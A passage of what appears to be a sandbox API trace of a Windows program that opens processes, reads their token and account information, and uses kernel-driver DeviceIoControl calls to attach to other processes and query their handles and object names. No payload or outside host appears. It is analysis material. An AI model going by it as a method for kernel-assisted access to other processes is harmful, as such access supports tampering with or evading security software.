[0133.152] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0133.152] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.152] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.152] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa00) returned 0xc0 [0133.152] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0133.153] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa80020e5b30, HandleInformation=0x0) returned 0x0 [0133.153] ObOpenObjectByPointer (in: Object=0xfffffa80020e5b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800005f0) returned 0x0 [0133.153] ObfDereferenceObject (Object=0xfffffa80020e5b30) returned 0x12 [0133.153] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800005f0, DesiredAccess=0x8, TokenHandle=0xfffffa8003637880 | out: TokenHandle=0xfffffa8003637880*=0xc8) returned 0x0 [0133.153] ZwClose (Handle=0xffffffff800005f0) returned 0x0 [0133.153] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.153] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0133.153] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0133.154] CloseHandle (hObject=0xc8) returned 1 [0133.154] CloseHandle (hObject=0xc0) returned 1 [0133.154] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.154] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0133.154] PsLookupProcessByProcessId (in: ProcessId=0xa00, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.154] PsAcquireProcessExitSynchronization () returned 0x0 [0133.154] KeStackAttachProcess (in: PROCESS=0xfffffa80020e5b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80020e5b30, ApcState=0xfffff880050005d0) [0133.154] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80020dca70, HandleInformation=0x0) returned 0x0 [0133.155] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.155] PsReleaseProcessExitSynchronization () returned 0x2 [0133.155] ObfDereferenceObject (Object=0xfffffa80020e5b30) returned 0x10 [0133.155] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002026044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8002026044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.155] ObfDereferenceObject (Object=0xfffffa80020dca70) returned 0x1 [0133.155] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.155] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.155] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.155] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x80, lpOverlapped=0x0) returned 1 [0133.155] PsLookupProcessByProcessId (in: ProcessId=0xa00, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.155] PsAcquireProcessExitSynchronization () returned 0x0 [0133.155] KeStackAttachProcess (in: PROCESS=0xfffffa80020e5b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80020e5b30, ApcState=0xfffff880050005d0) [0133.155] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80020e51a0, HandleInformation=0x0) returned 0x0 [0133.155] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.155] PsReleaseProcessExitSynchronization () returned 0x2 [0133.155] ObfDereferenceObject (Object=0xfffffa80020e5b30) returned 0x10 [0133.155] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003994044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003994044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.155] ObfDereferenceObject (Object=0xfffffa80020e51a0) returned 0x1 [0133.155] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.155] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.155] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.155] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0133.155] PsLookupProcessByProcessId (in: ProcessId=0xa00, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.155] PsAcquireProcessExitSynchronization () returned 0x0 [0133.155] KeStackAttachProcess (in: PROCESS=0xfffffa80020e5b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80020e5b30, ApcState=0xfffff880050005d0) [0133.155] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0133.155] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.155] PsReleaseProcessExitSynchronization () returned 0x2 [0133.155] ObfDereferenceObject (Object=0xfffffa80020e5b30) returned 0x10 [0133.155] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8002033044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002033044, ReturnLength=0xfffff88005000550) returned 0x0 [0133.155] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0133.155] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.156] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.156] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa10) returned 0xc0 [0133.157] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0133.157] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa80020f65f0, HandleInformation=0x0) returned 0x0 [0133.157] ObOpenObjectByPointer (in: Object=0xfffffa80020f65f0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800005f0) returned 0x0 [0133.157] ObfDereferenceObject (Object=0xfffffa80020f65f0) returned 0x12 [0133.157] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800005f0, DesiredAccess=0x8, TokenHandle=0xfffffa8003637880 | out: TokenHandle=0xfffffa8003637880*=0xc8) returned 0x0 [0133.157] ZwClose (Handle=0xffffffff800005f0) returned 0x0 [0133.157] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.158] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0133.158] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0133.159] CloseHandle (hObject=0xc8) returned 1 [0133.159] CloseHandle (hObject=0xc0) returned 1 [0133.159] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.159] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0133.159] PsLookupProcessByProcessId (in: ProcessId=0xa10, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.159] PsAcquireProcessExitSynchronization () returned 0x0 [0133.159] KeStackAttachProcess (in: PROCESS=0xfffffa80020f65f0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80020f65f0, ApcState=0xfffff880050005d0) [0133.159] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80020f6f20, HandleInformation=0x0) returned 0x0 [0133.159] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.159] PsReleaseProcessExitSynchronization () returned 0x2 [0133.159] ObfDereferenceObject (Object=0xfffffa80020f65f0) returned 0x10 [0133.159] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a75044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003a75044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.159] ObfDereferenceObject (Object=0xfffffa80020f6f20) returned 0x1 [0133.159] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.159] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.159] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.159] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0133.160] PsLookupProcessByProcessId (in: ProcessId=0xa10, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.160] PsAcquireProcessExitSynchronization () returned 0x0 [0133.160] KeStackAttachProcess (in: PROCESS=0xfffffa80020f65f0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80020f65f0, ApcState=0xfffff880050005d0) [0133.160] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80020f81e0, HandleInformation=0x0) returned 0x0 [0133.160] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.160] PsReleaseProcessExitSynchronization () returned 0x2 [0133.160] ObfDereferenceObject (Object=0xfffffa80020f65f0) returned 0x10 [0133.160] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800226b044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800226b044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.160] ObfDereferenceObject (Object=0xfffffa80020f81e0) returned 0x1 [0133.160] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.160] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.160] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.160] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0133.160] PsLookupProcessByProcessId (in: ProcessId=0xa10, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.160] PsAcquireProcessExitSynchronization () returned 0x0 [0133.160] KeStackAttachProcess (in: PROCESS=0xfffffa80020f65f0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80020f65f0, ApcState=0xfffff880050005d0) [0133.160] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0133.160] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.160] PsReleaseProcessExitSynchronization () returned 0x2 [0133.160] ObfDereferenceObject (Object=0xfffffa80020f65f0) returned 0x10 [0133.160] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80038df044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80038df044, ReturnLength=0xfffff88005000550) returned 0x0 [0133.160] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0133.160] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.160] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.160] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa20) returned 0xc0 [0133.160] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0133.160] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa8002104b30, HandleInformation=0x0) returned 0x0 [0133.160] ObOpenObjectByPointer (in: Object=0xfffffa8002104b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800005f0) returned 0x0 [0133.160] ObfDereferenceObject (Object=0xfffffa8002104b30) returned 0x12 [0133.160] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800005f0, DesiredAccess=0x8, TokenHandle=0xfffffa8003637880 | out: TokenHandle=0xfffffa8003637880*=0xc8) returned 0x0 [0133.160] ZwClose (Handle=0xffffffff800005f0) returned 0x0 [0133.161] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.161] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0133.161] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0133.162] CloseHandle (hObject=0xc8) returned 1 [0133.162] CloseHandle (hObject=0xc0) returned 1 [0133.162] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.162] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0133.162] PsLookupProcessByProcessId (in: ProcessId=0xa20, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.162] PsAcquireProcessExitSynchronization () returned 0x0 [0133.162] KeStackAttachProcess (in: PROCESS=0xfffffa8002104b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002104b30, ApcState=0xfffff880050005d0) [0133.163] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80021027f0, HandleInformation=0x0) returned 0x0 [0133.163] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.163] PsReleaseProcessExitSynchronization () returned 0x2 [0133.163] ObfDereferenceObject (Object=0xfffffa8002104b30) returned 0x10 [0133.163] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002512544, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8002512544, ReturnLength=0xfffff88005000508) returned 0x0 [0133.163] ObfDereferenceObject (Object=0xfffffa80021027f0) returned 0x1 [0133.163] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.163] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.163] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.163] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0133.163] PsLookupProcessByProcessId (in: ProcessId=0xa20, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.163] PsAcquireProcessExitSynchronization () returned 0x0 [0133.163] KeStackAttachProcess (in: PROCESS=0xfffffa8002104b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002104b30, ApcState=0xfffff880050005d0) [0133.163] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002106800, HandleInformation=0x0) returned 0x0 [0133.163] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.163] PsReleaseProcessExitSynchronization () returned 0x2 [0133.163] ObfDereferenceObject (Object=0xfffffa8002104b30) returned 0x10 [0133.163] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003425044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003425044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.163] ObfDereferenceObject (Object=0xfffffa8002106800) returned 0x1 [0133.163] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.163] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.163] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.163] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0133.163] PsLookupProcessByProcessId (in: ProcessId=0xa20, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.163] PsAcquireProcessExitSynchronization () returned 0x0 [0133.163] KeStackAttachProcess (in: PROCESS=0xfffffa8002104b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002104b30, ApcState=0xfffff880050005d0) [0133.163] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0133.164] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.164] PsReleaseProcessExitSynchronization () returned 0x2 [0133.164] ObfDereferenceObject (Object=0xfffffa8002104b30) returned 0x10 [0133.164] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005000550) returned 0x0 [0133.164] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0133.164] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.164] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.164] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xa30) returned 0xc0 [0133.164] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0133.164] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa800210f740, HandleInformation=0x0) returned 0x0 [0133.164] ObOpenObjectByPointer (in: Object=0xfffffa800210f740, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800005f0) returned 0x0 [0133.164] ObfDereferenceObject (Object=0xfffffa800210f740) returned 0x12 [0133.164] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800005f0, DesiredAccess=0x8, TokenHandle=0xfffffa8003637880 | out: TokenHandle=0xfffffa8003637880*=0xc8) returned 0x0 [0133.164] ZwClose (Handle=0xffffffff800005f0) returned 0x0 [0133.164] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.164] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0133.164] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0133.165] CloseHandle (hObject=0xc8) returned 1 [0133.166] CloseHandle (hObject=0xc0) returned 1 [0133.166] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.166] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0133.166] PsLookupProcessByProcessId (in: ProcessId=0xa30, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.166] PsAcquireProcessExitSynchronization () returned 0x0 [0133.166] KeStackAttachProcess (in: PROCESS=0xfffffa800210f740, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800210f740, ApcState=0xfffff880050005d0) [0133.166] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800210f070, HandleInformation=0x0) returned 0x0 [0133.166] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.166] PsReleaseProcessExitSynchronization () returned 0x2 [0133.166] ObfDereferenceObject (Object=0xfffffa800210f740) returned 0x10 [0133.166] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800204f044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800204f044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.166] ObfDereferenceObject (Object=0xfffffa800210f070) returned 0x1 [0133.166] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.166] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.166] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.166] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, 